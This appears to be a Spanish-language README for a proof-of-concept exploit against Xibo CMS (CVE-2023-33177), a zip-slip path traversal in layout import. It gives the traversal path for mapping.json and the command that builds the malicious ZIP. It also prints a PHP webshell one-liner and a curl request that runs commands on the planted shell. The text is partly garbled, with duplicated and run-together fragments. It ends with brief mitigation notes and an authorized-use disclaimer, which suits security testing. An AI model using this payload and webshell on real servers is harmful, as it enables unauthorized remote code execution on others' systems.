
Este exploit demuestra una **vulnerabilidad de path traversal** en Xibo CMS (CVE-2023-33177) que permite la ejecución remota de código a través de importaciones de diseño maliciosas.
Este exploit demuestra una vulnerabilidad de path traversal en Xibo CMS (CVE-2023-33177) que permite la ejecución remota de código mediante importaciones maliciosas de diseños.
CVE/Aviso: CVE-2023-33177 Versiones afectadas:
Tipo de vulnerabilidad: Path Traversal (Zip Slip) Impacto: Ejecución Remota de Código (RCE)
Xibo CMS permite a usuarios autenticados importar archivos de diseño mediante archivos ZIP. La funcionalidad de importación no valida correctamente las rutas de archivo en el archivo mapping.json, lo que permite a un atacante escribir archivos fuera del directorio de la biblioteca previsto utilizando secuencias de path traversal (../../).
mapping.json: Utiliza ../../web/shell.php como la ruta del archivolibrary/../../web/shell.php/var/www/cms/web/shell.phpZip contains: library/../../web/shell.php
Xibo reads: library/ + ../../web/shell.php (from mapping.json)
Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php
Result: /var/www/cms/web/shell.php ← Webshell in web root!
python3 create_exploit.py
Esto crea exploit.zip que contiene el paquete de diseño malicioso.
xibo_admin / password)exploit.zipcurl 'http://localhost:8080/shell.php?cmd=id'
El ZIP del exploit contiene:
exploit.zip
├── layout.json # Valid Xibo layout definition
├── playlist.json # Empty playlist (triggers JSON import)
├── mapping.json # Contains path traversal payload
└── library/
└── ../../web/
└── shell.php # PHP webshell (gets extracted to web root)
La webshell incrustada es mínima:
<?php system($_GET["cmd"]); ?>
Accede a ella mediante: http://<target>/shell.php?cmd=<comando>
Versiones parcheadas:
Estrategias de mitigación:
.. o rutas absolutasEste exploit se proporciona para:
No uses este exploit contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
complexusprada Noviembre 2025